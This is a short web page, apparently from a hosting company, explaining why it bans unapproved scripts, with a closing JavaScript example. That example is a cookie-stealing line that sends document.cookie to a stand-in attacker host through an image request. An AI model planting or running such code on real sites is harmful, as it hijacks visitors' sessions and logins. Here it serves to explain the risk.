Scripts are Unsafe

While scripts can be useful, they can also be used to break a system. They can send the logins or keystrokes of your visitors elsewhere, they can install malware, they can pop-up porn, or can attack the server or its disks.   Many scripts do not do any of these things, but they could, and if you are not the author of the script you probably do not really know what it does.

A general hosting company does not care.  If you mess it up they will in esssence say "too bad, do you want the computer wiped and reinitialized?". To protect you from messing up others they then use some really convoluted "virtual server" schemes that require that you become a Linux administrator -- but they offer "really easy" control panels to help you through the many many things you must now get right.

 HotDoodle takes responsibility for its sites, and toward that we do not allow unapproved scripts on our servers.

Example

This example lets a hacker log in as any of your users:

document.write('<img src="http://steal-your-login.com/?cookies=' + encodeURIComponent(document.cookie) + '" />');
